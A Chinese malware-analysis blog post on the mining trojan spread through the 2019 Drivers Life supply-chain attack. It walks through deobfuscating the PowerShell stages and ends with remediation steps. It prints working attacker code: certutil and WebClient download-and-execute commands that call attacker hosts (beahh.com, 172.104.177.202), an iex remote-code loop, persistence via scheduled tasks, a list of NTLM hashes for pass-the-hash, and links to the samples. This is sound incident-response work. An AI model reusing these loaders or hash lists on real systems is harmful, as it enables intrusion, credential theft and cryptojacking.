360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新……

0x00 事件背景

360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新。此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通过pass the hash攻击进行横向渗透,使得该木马的传播能力进一步加强,即使是有高强度口令的机器也有可能被攻陷。

pass the hash也称作哈希传递攻击,攻击者可以直接通过密码的哈希值访问远程主机或服务,而不用提供明文密码。攻击者使用pass the hash技术尝试在系统登录密码非弱口令并且无法抓取登录密码的情况下进行横向攻击,增加攻击成功率。

0x01 分析研讨

由于木马是样本都是不落地的方式,核心技术是通过定时计划任务执行powershell代码达到持续控制的目的,因此最先分析powershell代码,了解它做了哪些动作,指定查杀手段。

PS:样本代码过长,遂使用图片截图

0x02 分析过程

解密第一层

病毒样本:

第一个动作,创建一个名为Certificate的任务计划,在七点开始,每隔一小时执行一次以下命令:

cmd.exe /c (cd %temp%&certutil -urlcache -split -f http://cert.beahh.com/cert.php?ver1=%COMPUTERNAME% v.dat>nul&expand -r v.dat>nul&v.bat>nul&del v.dat v.bat>nul)

由于目前cert.beahh.com已经无法访问,所以进行下一个powershell分析环节。

首先,powershell -nop -w hidden -ep bypass -e 后接着就是base64编码的powershell代码,并且以Bypass作为当前执行策略。

Windows中的powershell执行策略:

PS C:\Users\Rvn0xsy> Get-ExecutionPolicy -ListScope ExecutionPolicy----- ---------------
MachinePolicy       UndefinedUserPolicy       UndefinedProcess       UndefinedCurrentUser       UndefinedLocalMachine          Bypass

将后面的base64解密后:

得到如下代码:

while($true)
{
[System.Threading.Thread]::Sleep(200000);
[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
iex $c;
[System.Threading.Thread]::Sleep(1000000);
}

外部是一个循环,将Sleep去除后,可以看到调用了Invoke-ExpressionInvoke-Expression是一个能将变量的内容当作powershell表达式执行的函数。

而iex只是Invoke-Expression的别名。

下面简单演示几个例子:

PS C:\Users\Rvn0xsy> iex "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy> Write-Host Rvn0xsy
Rvn0xsy
PS C:\Users\Rvn0xsy> Invoke-Expression "Write-Host Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>

将上述的木马脚本中iex替换成Write-Host即可:

while($true)
{[string]$m = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$q = [System.Net.WebRequest]::Create("http://new.beahh.com/startup.php?ver=1&mac="+$m+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture).GetResponse().GetResponseStream();
$r = (new-object System.IO.StreamReader $q).ReadToEnd() -replace "##";
$c = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($r));
Write-Host $c;
}

在这里我们使用Windows 10自带的Windows Powershell ISE脚本调试器来进行后续的分析。

解密第二层

很明显,我们看到有Invoke-Expression,直接将Invoke-Expression改为Write-Host进行调试。

解密第三层

现在获得的代码可读性变得非常低了,但是还是有一定规律可循。

在第83行,有一个大小写混合的Invoke-Expression

并且Invoke-Expression做左边还有一个管道符,直接将代码改为| Out-File .\tmp.log ,把结果输出到tmp.log文件中。

解密第四层

第四次好像混淆的更加厉害来,但是不影响我们的分析,先看首行:

 . ( $EnV:CoMsPec[4,26,25]-JoIN'')((('[string]3CHav = U'+'ABUAB[string]....

其中它是以. (表达式)(表达式)来执行的,于是我想到了另外一种函数调用的可能:

PS C:\Users\Rvn0xsy> . Write-Host "Rvn0xsy"
Rvn0xsy
PS C:\Users\Rvn0xsy>

这样也能执行,所以我判断 . ( $EnV:CoMsPec[4,26,25]-JoIN'')就是iex或者Invoke-Expression,我将 . ( $EnV:CoMsPec[4,26,25]-JoIN'')改为Write-Host直接执行:

最终获得了未混淆的代码。

然后,为了验证我的猜想,我把代码进行更改,获得了Iex

. ( $EnV:CoMsPec[4,26,25]-JoIN'') = Iex

0x03 行为分析

[string]$av = ""[string]$avs = ""[string]$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)$avs = (Get-WmiObject -Namesp
ace root\SecurityCenter2 -Class AntiVirusProduct).displayNameif($avs.GetType().name.IndexOf('Object') -gt -1){for($v = 0; $v -lt $avs.Count; $v++){$av += $avs[$v] + "|"}}else{$av
= $avs}try{if((Get-Service zhudongfangyu | Sort -Property Status).Status -eq "Running"){$av += 'ZDFY'}}catch{}#[System.Threading.Thread]::Sleep((Get-Random -Minimum 10000 -Maximum100000))$path = "$env:temp\\ppp.log"[string]$flag = test-path $path$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObj
ect Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAMEtry{$file = "$env:appdata\\Micro
soft\\cred.ps1"$size = (Get-ChildItem $file -recurse | Measure-Object -property length -sum).sum$file2 = "$env:ALLUSERSPROFILE\\Microsoft\\cred.ps1"$size2 = (Get-ChildItem $file2
-recurse | Measure-Object -property length -sum).sum        if(($size -ne 50731) -and ($size2 -ne 50731)){try{$url = 'http://172.104.177.202/new.dat?xl' + $key(New-Object System.N
et.WebClient).DownloadFile($url,"$file")}catch{}&cmd.exe /c schtasks /create /sc MINUTE /mo 60 /st 07:00:00 /tn Credentials /tr "powershell -nop -w hidden -ep bypass -f %appdata%\
Microsoft\cred.ps1" /F}}catch{}[System.Threading.Thread]::Sleep(3000)Stop-Process -Force -processname powershell

大致意思就是收集本机的操作系统版本、用户名、MAC地址、杀毒软件写入当前环境变量的temp\ppp.log中。

一般是C:\Users\<USERNAME>\AppData\Local\Temp\ppp.log

然后下载新的powershell文件,到C:\Users\<USERNAME>\AppData\Roaming\Microsoft\cred.ps1中。

下载的URL是:http://172.104.177.202/new.dat?xl

目前ti上未打标签。

再次经过N层解密后,得到如下代码:

大约6000多行

脚本的功能:

1.获得当前用户Hash,读取注册表

2.获得当前系统版本、MAC地址、当前系统所有用户、反病毒软件,尤其是360 Zhudongfangyu服务

3.端口扫描,全量1-65535、445、139都会扫描

4.依赖于445 SMB服务进行传播

其中,常用的Hash和用户名:

[string[]]$global:alluser = @("administrator","admin")[string[]]$global:allpass = @("32ed87bdb5fdc5e9cba88547376818d4","8846f7eaee8fb117ad06bdd830b7586c","7b592e4f8178b4c75788531b2e747687","3fa45a060bd2693ae4c05b601d05ca0c","69943c5e63b4d2c104dbbcc15138b72b","588feb889288fb953b5f094d47d1565c","3dbde697d71690a769204beb12283678","df54de3f3438343202c1dd523d0265be","7ce21f17c0aee7fb9ceba532d0546ad6","2d7f1a5a61d3a96fb5159b5eef17adc6","6103d9d963c57275dd3533674708e7be","579110c49145015c47ecd267657d3174","af27efb60c7b238910efe2a7e0676a39","259745cb123a52aa2e693aaacca2db52","4057b60b514c5402dde3d29a1845c366","e8cd0e4a9e89eab931dc5338fcbec54a","f1351ac828428d74f6da2968089fc91f","b5fe2db507cc5ac540493d48fbd5fe33","12bdea0a1cb9486c067deaa851ac1609","f9e37e83b83c47a93c2f09f66408631b","b23a90d0aad9da3615fafc27a1b8baeb","a333f09e72c683f0205049d0db8b81fb","ad70819c5bc807280974d80f45982011","2d20d252a479f485cdf5e171d93985bf","0b6549421b2e7333e0e281f3ba5eea94","209c6174da490caeb422f3fa5a7ae634","a80c9cc3f8439ada25af064a874efe2d","22315d6ed1a7d5f8a7c98c40e9fa2dec","b963c57010f218edc2cc3c229b5e4d0f","96880159e785de5314803b1169768900","8ec60adea316d957d1cf532c5841758d","c22b315c040ae6e0efee3518d830362b","7a21990fcd3d759941e45c490f143d5f","328727b81ca05805a68ef26acb252039","31c72c210ecc03d1eae94fa496069448","209c6174da490caeb422f3fa5a7ae634","674e48b68c5cd0efd8f7e5faa87b3d1e","31fc0dc8f7dfad0e8bd7ccc3842f2ce9","579110c49145015c47ecd267657d3174","f2477a144dff4f216ab81f2ac3e3207d","62b26c13b70e7d5a9724710a41e63688","5835048ce94ad0564e29a924a03510ef","7773c08920232397cae081704964b786","a4141712f19e9dd5adf16919bb38a95c","b3ec3e03e2a202cbd54fd104b8504fef","f9e37e83b83c47a93c2f09f66408631b","162e829be112225fedf856e38e1c65fe","f67f5e3f66efd7298be6acd32eeeb27c")

SMB服务传播代码:

会上传启动项:\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat

这个run.bat就是我拿到的种子了。

该木马涵盖了Windows SMB客户端的所有代码,以及哈希传递技术的所有功能。

代码有很多都是采用了Invoke-SMBClient。

优先感染子网:

10.
172.
192.168.

其中在开始横向传播之前,它还会下载一个powershell代码:

其中在开始横向传播之前,它还会下载一个powershell代码:

但是目前这个域名已经无法访问,无法继续进行跟进。

http://p.beahh.com/upgrade.php?ver=1&mac=

其中在$bytebase64中发现了run.bat的代码:

0x04 预警与排查方案

  • 1.开启Windows防火墙、关闭445端口。
  • 2.防火墙禁止向172.104.177.202建立连接。
  • 3.防火墙禁止与*.beahh.com域名的解析。
  • 4.更改操作系统账号密码。
  • 5.删除Certificate任务计划。
  • 6.删除Credentials任务计划。
  • 7.删除启动项\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat
  • 8.删除%appdata%\Microsoft\cred.ps1

最主要就是禁止与172.104.177.202进行通信。

下载器样本:https://payloads.online/scripts/2019-02-23-downloader.txt

木马本体(解密后):https://payloads.online/scripts/2019-02-23-res.txt

转自:https://payloads.online/archivers/2019-02-23/1

【应急响应】驱动人生供应链木马攻击2019.1.30变种木马分析相关推荐

  1. 《生化危机8》游戏闪退卡死无响应?驱动人生8解决方案

    驱动人生8支持此款游戏的升级驱动啦!据说是今年最阴间的游戏了,昨日在Steam正式发售啦,小编是狂热粉~不管是电影还是游戏 日前<生化危机8>游戏解禁,给大家先试试水~ 有紧张的节奏.丰富 ...

  2. python编写木马攻击_用python开发木马程序

    41.木马是什么?木马能干什么? 2.本木马程序实现的功能是什么? 记录键盘输入.屏幕截图.将数据发送指定服务器 3.如何实现linux下的多线程? 4.python的与键盘相关的外部调用模块.网络模 ...

  3. python编写木马攻击_python实现一个简单木马!

    一个简单的木马程序 绝大多数的木马程序都是基于Socket来实现的 废话少说直接上代码! 代码: client部分: # -*- coding: UTF-8 -*- import socket imp ...

  4. lsass.exe 当试图更新密码时_“驱动人生”下载器木马再度更新-你应该注意什么?...

    360安全大脑监测到通过"驱动人生"供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新.此次更新中,木马在此前抓取系统帐户密码的基础上增加了抓取密码hash值的功能,并试图通 ...

  5. 病毒分析之“驱动人生”挖矿木马分析及其清除方案

    "驱动人生"挖矿木马分析及其清除方案 0x00 概述 自2018年12月份"驱动人生"挖矿木马爆发以来,此木马一直处于活跃状态,更新版本更是达到了20+次.此木 ...

  6. 一次群晖中勒索病毒后的应急响应

    群晖是一种NAS(网络附属存储)系统,在生活中主要扮演个人私有云角色,可以将文件存储于 NAS,并通过网页浏览器或手机应用程序可实现存储和共享,同时还提供的丰富应用以方便管理应用.借助群晖提供的 Qu ...

  7. 应急响应“小迪安全课堂笔记”web,系统,数据库三方应用

    应急响应 应急响应初识 WEB 攻击应急响应朔源-后门,日志 WIN 系统攻击应急响应朔源-后门,日志,流量 应急响应-WEB 分析 php&javaweb&自动化工具 应急响应流程 ...

  8. 网络安全应急响应技术实战指南

    文章转载:https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md 用于安全事件响应的工具与资源的列表 ...

  9. 【应急基础】安全应急响应工具年末大放送(含下载)

    为了帮助安全分析师更好的完成工作,小编整理了一些现在比较流行的安全应急响应工具和资源,从磁盘镜像创建工具.内存分析工具到内存镜像工具.沙盒/逆向工具等,相信总有一款适合你. 磁盘镜像创建工具 GetD ...

最新文章

  1. 自动化网络拓扑 包容多设备类型——湖南省高速公路邵怀高速公路建设开发有限公司...
  2. 自动挂载ios_Ubuntu自动挂载iso文件 | 学步园
  3. 数据库更新的时候不能正确的执行找错记录
  4. mysql开启日志占cpu不_使用MySQL Slow Log来解决MySQL CPU占用高的问题
  5. libc++abi.dylib: terminate_handler unexpectedly
  6. SDUT2165:Crack Mathmen(快速幂)
  7. 基于spring boot 的ssm项目的简单配置
  8. wxpay-api:pay_J2Pay – API响应
  9. Java 8 的List<V> 转成 Map<K, V>
  10. 【转】IsCallBack属性和IsPostBack属性有什么区别?
  11. Python多线程和多进程编程
  12. SAP是如何与外界沟通的?
  13. 一元线性回归预测:销售收入与广告支出实战
  14. USB加密狗复制克隆软件
  15. 兰花草c语言编码蜂鸣器,蜂鸣器奏乐-多种音乐分享
  16. rose oracle双机切换故障,oracle 审计引起的问题 (双机软件roseha)
  17. win7下MeGUI压片无声、卡死、音画不同步、无法转码、无法硬解的解决办法
  18. stm32语音识别文字显示_『开源项目』基于STM32的智能垃圾桶之语音识别
  19. 道高一尺,魔高一丈之细菌耐药性
  20. 新一代杂志新一代杂志社新一代编辑部2022年第13期目录

热门文章

  1. dual功能计算机,dual是什么意思车上的-功能介绍须知
  2. python:小鱼的航程
  3. 用python处理excel之替换功能
  4. Article:AI领域2021年度总结与2022年度展望:多模态人工智能起飞、万亿参数模型的爆发、生成模型在音乐电影制作上的进展、Transformer架构正在以一己之力统一AI江湖、AI法律监管
  5. TypeError: unsupported operand type(s) for //: ‘str‘ and ‘int‘
  6. 计算机与信息安全的基本知识,信息安全的基本常识
  7. 第五章 生活无处不数据,大数据真的能算命?
  8. 解决Cookie乱码问题
  9. 利用随机森林预测股票大盘涨跌
  10. java租车系统维熵科技_维熵租车系统数据库